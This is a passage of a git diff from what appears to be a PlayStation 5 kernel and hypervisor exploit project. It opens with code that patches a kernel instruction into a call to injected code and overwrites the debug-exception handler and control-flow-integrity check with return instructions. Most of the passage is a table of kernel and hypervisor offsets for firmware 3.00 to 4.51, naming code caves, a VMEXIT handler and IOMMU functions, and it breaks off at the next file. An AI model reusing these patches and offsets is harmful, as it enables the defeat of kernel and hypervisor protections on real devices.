// in acpi_wakeup_machdep + int64_t diff_call = dest_text - instr_to_patch; + uint8_t new_instr[5]; + new_instr[0] = 0xE8; // Call Near + *((uint32_t *)&new_instr[1]) = + (int32_t)(diff_call - 5); // Call Offset is relative to the next + // instruction and Call uses 5 bytes + + // Patch instruction + kernel_copyin(new_instr, instr_to_patch, 5); + DEBUG_PRINT("Instruction patched\n"); + + // Patch debug exception + kwrite8(ktext + env_offset.KERNEL_DEBUG_PATCH, 0xC3); + // Patch cfi_check + kwrite8(ktext + env_offset.KERNEL_CFI_CHECK, 0xC3); + + return 0; +} diff --git a/source/offsets.c b/source/offsets.c index 15063bf..152a7ee 100644 --- a/source/offsets.c +++ b/source/offsets.c @@ -1,307 +1,307 @@ -#include "offsets.h" - -offset_list off_0300 = { - .PMAP_STORE = 0x3D8E218, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33175E0, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x06423F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x0390E73, - .FUN_PRINTF = 0x048B9A0, - .FUN_VA_TO_PA = 0x0831410, - .FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E20, - .FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D50, - .FUN_SMP_RENDEZVOUS = 0x0A3E850, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287E50, - .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x0734B5D0, - .FUN_TRANSMITTER_CONTROL = 0x0B2A560, - .FUN_MP3_INITIALIZE = 0x0953890, - .FUN_MP3_INVOKE = 0x0952670, - .KERNEL_UART_OVERRIDE = 0x1EB0258, - .KERNEL_DEBUG_PATCH = 0x0752460, - .KERNEL_CFI_CHECK = 0x0441DD0, - .PS5_WIFI_FW_OFFSET = 0x1274460, - .PS5_WIFI_FW_SIZE = 492304, -}; - -offset_list off_0310 = { - .PMAP_STORE = 0x3D8E218, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33175E0, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x06423F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x0390EB3, - .FUN_PRINTF = 0x048B9E0, - .FUN_VA_TO_PA = 0x0831450, - .FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E60, - .FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D90, - .FUN_SMP_RENDEZVOUS = 0x0A3E890, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287EA8, - .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x0734B5D0, - .FUN_TRANSMITTER_CONTROL = 0x0B2A5A0, - .FUN_MP3_INITIALIZE = 0x09538D0, - .FUN_MP3_INVOKE = 0x09526B0, - .KERNEL_UART_OVERRIDE = 0x1EB0258, - .KERNEL_DEBUG_PATCH = 0x07524A0, - .KERNEL_CFI_CHECK = 0x0441E10, - .PS5_WIFI_FW_OFFSET = 0x1274490, - .PS5_WIFI_FW_SIZE = 492304, -}; - -offset_list off_0320 = { - .PMAP_STORE = 0x3D8E218, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33175E0, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x06423F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x391203, - .FUN_PRINTF = 0x48BD30, - .FUN_VA_TO_PA = 0x8317A0, - .FUN_HV_IOMMU_SET_BUFFERS = 0xB34320, - .FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250, - .FUN_SMP_RENDEZVOUS = 0xA3ED50, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288230, - .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x734B5D0, - .FUN_TRANSMITTER_CONTROL = 0xB2AA60, - .FUN_MP3_INITIALIZE = 0x953D30, - .FUN_MP3_INVOKE = 0x952B10, - .KERNEL_UART_OVERRIDE = 0x1EB0258, - .KERNEL_DEBUG_PATCH = 0x7527F0, - .KERNEL_CFI_CHECK = 0x442160, - .PS5_WIFI_FW_OFFSET = 0x1274550, - .PS5_WIFI_FW_SIZE = 492304, -}; - -offset_list off_0321 = { - .PMAP_STORE = 0x3D8E218, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33175E0, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x06423F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x391203, - .FUN_PRINTF = 0x48BD30, - .FUN_VA_TO_PA = 0x8317A0, - .FUN_HV_IOMMU_SET_BUFFERS = 0xB34320, - .FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250, - .FUN_SMP_RENDEZVOUS = 0xA3ED50, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288250, - .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x734B5D0, - .FUN_TRANSMITTER_CONTROL = 0xB2AA60, - .FUN_MP3_INITIALIZE = 0x953D30, - .FUN_MP3_INVOKE = 0x952B10, - .KERNEL_UART_OVERRIDE = 0x1EB0258, - .KERNEL_DEBUG_PATCH = 0x7527F0, - .KERNEL_CFI_CHECK = 0x442160, - .PS5_WIFI_FW_OFFSET = 0x1274550, - .PS5_WIFI_FW_SIZE = 492304, -}; - -offset_list off_0400 = { - .PMAP_STORE = 0x3E57A78, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33C7680, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x064C3F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613, - .FUN_PRINTF = 0x4A3240, - .FUN_VA_TO_PA = 0x85ADC0, - .FUN_HV_IOMMU_SET_BUFFERS = 0xB638F0, - .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63830, - .FUN_SMP_RENDEZVOUS = 0xA6C920, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x295488, - .HV_HANDLE_VMEXIT_PA = 0x6282B45D, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x72B7630, - .FUN_TRANSMITTER_CONTROL = 0xB5AD50, - .FUN_MP3_INITIALIZE = 0x9805C0, - .FUN_MP3_INVOKE = 0x97F3E0, - .KERNEL_UART_OVERRIDE = 0x1F522A8, - .KERNEL_DEBUG_PATCH = 0x77DA70, - .KERNEL_CFI_CHECK = 0x45A170, - .PS5_WIFI_FW_OFFSET = 0x1392FB0, - .PS5_WIFI_FW_SIZE = 493000, -}; - -offset_list off_0402 = { - .PMAP_STORE = 0x3E57A78, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33C7680, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x064C3F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613, - .FUN_PRINTF = 0x4A3240, - .FUN_VA_TO_PA = 0x85AE10, - .FUN_HV_IOMMU_SET_BUFFERS = 0xB63950, - .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63890, - .FUN_SMP_RENDEZVOUS = 0xA6C970, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x29A018, - .HV_HANDLE_VMEXIT_PA = 0x6282B45D, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x72B7630, - .FUN_TRANSMITTER_CONTROL = 0xB5ADA0, - .FUN_MP3_INITIALIZE = 0x980610, - .FUN_MP3_INVOKE = 0x97F430, - .KERNEL_UART_OVERRIDE = 0x1F522A8, - .KERNEL_DEBUG_PATCH = 0x77DAC0, - .KERNEL_CFI_CHECK = 0x45A170, - .PS5_WIFI_FW_OFFSET = 0x1392FB0, - .PS5_WIFI_FW_SIZE = 493000, -}; - -offset_list off_0403 = { - .PMAP_STORE = 0x3E57A78, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33C7680, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x064C3F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613, - .FUN_PRINTF = 0x4A3240, - .FUN_VA_TO_PA = 0x85AEA0, - .FUN_HV_IOMMU_SET_BUFFERS = 0xB639F0, - .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63930, - .FUN_SMP_RENDEZVOUS = 0xA6CA00, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299F20, - .HV_HANDLE_VMEXIT_PA = 0x6282B45D, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x72B7630, - .FUN_TRANSMITTER_CONTROL = 0xB5AE30, - .FUN_MP3_INITIALIZE = 0x9806A0, - .FUN_MP3_INVOKE = 0x97F4C0, - .KERNEL_UART_OVERRIDE = 0x1F522A8, - .KERNEL_DEBUG_PATCH = 0x77DB50, - .KERNEL_CFI_CHECK = 0x45A170, - .PS5_WIFI_FW_OFFSET = 0x1392FB0, - .PS5_WIFI_FW_SIZE = 493000, -}; - -offset_list off_0450 = { - .PMAP_STORE = 0x3E57A78, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33C7680, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x064C3F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x03A75E3, - .FUN_PRINTF = 0x04A3270, - .FUN_VA_TO_PA = 0x85AFF0, - .FUN_HV_IOMMU_SET_BUFFERS = 0xB63BB0, - .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63AF0, - .FUN_SMP_RENDEZVOUS = 0xA6CBB0, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FC0, - .HV_HANDLE_VMEXIT_PA = 0x6282B45D, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x72B7630, - .FUN_TRANSMITTER_CONTROL = 0xB5AFF0, - .FUN_MP3_INITIALIZE = 0x980850, - .FUN_MP3_INVOKE = 0x97F670, - .KERNEL_UART_OVERRIDE = 0x1F522A8, - .KERNEL_DEBUG_PATCH = 0x77DC80, - .KERNEL_CFI_CHECK = 0x45A1A0, - .PS5_WIFI_FW_OFFSET = 0x1392FC0, - .PS5_WIFI_FW_SIZE = 493000, -}; - -offset_list off_0451 = { - .PMAP_STORE = 0x3E57A78, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33C7680, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x64C3F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A75E3, - .FUN_PRINTF = 0x4A3270, - .FUN_VA_TO_PA = 0x85B390, - .FUN_HV_IOMMU_SET_BUFFERS = 0xB63FE0, - .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63F20, - .FUN_SMP_RENDEZVOUS = 0xA6CFE0, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FA8, - .HV_HANDLE_VMEXIT_PA = 0x6282B45D, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x72B7630, - .FUN_TRANSMITTER_CONTROL = 0xB5B420, - .FUN_MP3_INITIALIZE = 0x980BF0, - .FUN_MP3_INVOKE = 0x97FA10, - .KERNEL_UART_OVERRIDE = 0x1F522A8, - .KERNEL_DEBUG_PATCH = 0x77DC90, - .KERNEL_CFI_CHECK = 0x45A1A0, - .PS5_WIFI_FW_OFFSET = 0x1393000, - .PS5_WIFI_FW_SIZE = 493000, -}; +#include "offsets.h" + +offset_list off_0300 = { + .PMAP_STORE = 0x3D8E218, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33175E0, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x06423F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x0390E73, + .FUN_PRINTF = 0x048B9A0, + .FUN_VA_TO_PA = 0x0831410, + .FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E20, + .FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D50, + .FUN_SMP_RENDEZVOUS = 0x0A3E850, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287E50, + .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x0734B5D0, + .FUN_TRANSMITTER_CONTROL = 0x0B2A560, + .FUN_MP3_INITIALIZE = 0x0953890, + .FUN_MP3_INVOKE = 0x0952670, + .KERNEL_UART_OVERRIDE = 0x1EB0258, + .KERNEL_DEBUG_PATCH = 0x0752460, + .KERNEL_CFI_CHECK = 0x0441DD0, + .PS5_WIFI_FW_OFFSET = 0x1274460, + .PS5_WIFI_FW_SIZE = 492304, +}; + +offset_list off_0310 = { + .PMAP_STORE = 0x3D8E218, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33175E0, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x06423F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x0390EB3, + .FUN_PRINTF = 0x048B9E0, + .FUN_VA_TO_PA = 0x0831450, + .FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E60, + .FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D90, + .FUN_SMP_RENDEZVOUS = 0x0A3E890, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287EA8, + .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x0734B5D0, + .FUN_TRANSMITTER_CONTROL = 0x0B2A5A0, + .FUN_MP3_INITIALIZE = 0x09538D0, + .FUN_MP3_INVOKE = 0x09526B0, + .KERNEL_UART_OVERRIDE = 0x1EB0258, + .KERNEL_DEBUG_PATCH = 0x07524A0, + .KERNEL_CFI_CHECK = 0x0441E10, + .PS5_WIFI_FW_OFFSET = 0x1274490, + .PS5_WIFI_FW_SIZE = 492304, +}; + +offset_list off_0320 = { + .PMAP_STORE = 0x3D8E218, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33175E0, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x06423F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x391203, + .FUN_PRINTF = 0x48BD30, + .FUN_VA_TO_PA = 0x8317A0, + .FUN_HV_IOMMU_SET_BUFFERS = 0xB34320, + .FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250, + .FUN_SMP_RENDEZVOUS = 0xA3ED50, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288230, + .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x734B5D0, + .FUN_TRANSMITTER_CONTROL = 0xB2AA60, + .FUN_MP3_INITIALIZE = 0x953D30, + .FUN_MP3_INVOKE = 0x952B10, + .KERNEL_UART_OVERRIDE = 0x1EB0258, + .KERNEL_DEBUG_PATCH = 0x7527F0, + .KERNEL_CFI_CHECK = 0x442160, + .PS5_WIFI_FW_OFFSET = 0x1274550, + .PS5_WIFI_FW_SIZE = 492304, +}; + +offset_list off_0321 = { + .PMAP_STORE = 0x3D8E218, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33175E0, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x06423F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x391203, + .FUN_PRINTF = 0x48BD30, + .FUN_VA_TO_PA = 0x8317A0, + .FUN_HV_IOMMU_SET_BUFFERS = 0xB34320, + .FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250, + .FUN_SMP_RENDEZVOUS = 0xA3ED50, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288250, + .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x734B5D0, + .FUN_TRANSMITTER_CONTROL = 0xB2AA60, + .FUN_MP3_INITIALIZE = 0x953D30, + .FUN_MP3_INVOKE = 0x952B10, + .KERNEL_UART_OVERRIDE = 0x1EB0258, + .KERNEL_DEBUG_PATCH = 0x7527F0, + .KERNEL_CFI_CHECK = 0x442160, + .PS5_WIFI_FW_OFFSET = 0x1274550, + .PS5_WIFI_FW_SIZE = 492304, +}; + +offset_list off_0400 = { + .PMAP_STORE = 0x3E57A78, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33C7680, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x064C3F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613, + .FUN_PRINTF = 0x4A3240, + .FUN_VA_TO_PA = 0x85ADC0, + .FUN_HV_IOMMU_SET_BUFFERS = 0xB638F0, + .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63830, + .FUN_SMP_RENDEZVOUS = 0xA6C920, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x295488, + .HV_HANDLE_VMEXIT_PA = 0x6282B45D, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x72B7630, + .FUN_TRANSMITTER_CONTROL = 0xB5AD50, + .FUN_MP3_INITIALIZE = 0x9805C0, + .FUN_MP3_INVOKE = 0x97F3E0, + .KERNEL_UART_OVERRIDE = 0x1F522A8, + .KERNEL_DEBUG_PATCH = 0x77DA70, + .KERNEL_CFI_CHECK = 0x45A170, + .PS5_WIFI_FW_OFFSET = 0x1392FB0, + .PS5_WIFI_FW_SIZE = 493000, +}; + +offset_list off_0402 = { + .PMAP_STORE = 0x3E57A78, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33C7680, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x064C3F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613, + .FUN_PRINTF = 0x4A3240, + .FUN_VA_TO_PA = 0x85AE10, + .FUN_HV_IOMMU_SET_BUFFERS = 0xB63950, + .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63890, + .FUN_SMP_RENDEZVOUS = 0xA6C970, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x29A018, + .HV_HANDLE_VMEXIT_PA = 0x6282B45D, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x72B7630, + .FUN_TRANSMITTER_CONTROL = 0xB5ADA0, + .FUN_MP3_INITIALIZE = 0x980610, + .FUN_MP3_INVOKE = 0x97F430, + .KERNEL_UART_OVERRIDE = 0x1F522A8, + .KERNEL_DEBUG_PATCH = 0x77DAC0, + .KERNEL_CFI_CHECK = 0x45A170, + .PS5_WIFI_FW_OFFSET = 0x1392FB0, + .PS5_WIFI_FW_SIZE = 493000, +}; + +offset_list off_0403 = { + .PMAP_STORE = 0x3E57A78, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33C7680, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x064C3F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613, + .FUN_PRINTF = 0x4A3240, + .FUN_VA_TO_PA = 0x85AEA0, + .FUN_HV_IOMMU_SET_BUFFERS = 0xB639F0, + .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63930, + .FUN_SMP_RENDEZVOUS = 0xA6CA00, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299F20, + .HV_HANDLE_VMEXIT_PA = 0x6282B45D, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x72B7630, + .FUN_TRANSMITTER_CONTROL = 0xB5AE30, + .FUN_MP3_INITIALIZE = 0x9806A0, + .FUN_MP3_INVOKE = 0x97F4C0, + .KERNEL_UART_OVERRIDE = 0x1F522A8, + .KERNEL_DEBUG_PATCH = 0x77DB50, + .KERNEL_CFI_CHECK = 0x45A170, + .PS5_WIFI_FW_OFFSET = 0x1392FB0, + .PS5_WIFI_FW_SIZE = 493000, +}; + +offset_list off_0450 = { + .PMAP_STORE = 0x3E57A78, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33C7680, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x064C3F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x03A75E3, + .FUN_PRINTF = 0x04A3270, + .FUN_VA_TO_PA = 0x85AFF0, + .FUN_HV_IOMMU_SET_BUFFERS = 0xB63BB0, + .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63AF0, + .FUN_SMP_RENDEZVOUS = 0xA6CBB0, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FC0, + .HV_HANDLE_VMEXIT_PA = 0x6282B45D, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x72B7630, + .FUN_TRANSMITTER_CONTROL = 0xB5AFF0, + .FUN_MP3_INITIALIZE = 0x980850, + .FUN_MP3_INVOKE = 0x97F670, + .KERNEL_UART_OVERRIDE = 0x1F522A8, + .KERNEL_DEBUG_PATCH = 0x77DC80, + .KERNEL_CFI_CHECK = 0x45A1A0, + .PS5_WIFI_FW_OFFSET = 0x1392FC0, + .PS5_WIFI_FW_SIZE = 493000, +}; + +offset_list off_0451 = { + .PMAP_STORE = 0x3E57A78, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33C7680, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x64C3F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A75E3, + .FUN_PRINTF = 0x4A3270, + .FUN_VA_TO_PA = 0x85B390, + .FUN_HV_IOMMU_SET_BUFFERS = 0xB63FE0, + .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63F20, + .FUN_SMP_RENDEZVOUS = 0xA6CFE0, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FA8, + .HV_HANDLE_VMEXIT_PA = 0x6282B45D, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x72B7630, + .FUN_TRANSMITTER_CONTROL = 0xB5B420, + .FUN_MP3_INITIALIZE = 0x980BF0, + .FUN_MP3_INVOKE = 0x97FA10, + .KERNEL_UART_OVERRIDE = 0x1F522A8, + .KERNEL_DEBUG_PATCH = 0x77DC90, + .KERNEL_CFI_CHECK = 0x45A1A0, + .PS5_WIFI_FW_OFFSET = 0x1393000, + .PS5_WIFI_FW_SIZE = 493000, +}; diff --git a/source/tmr.c b/source/tmr.c index 8adb242..89f918f 100644 --- a/source/tmr.c +++ b/source/tmr.c @@ -1,12 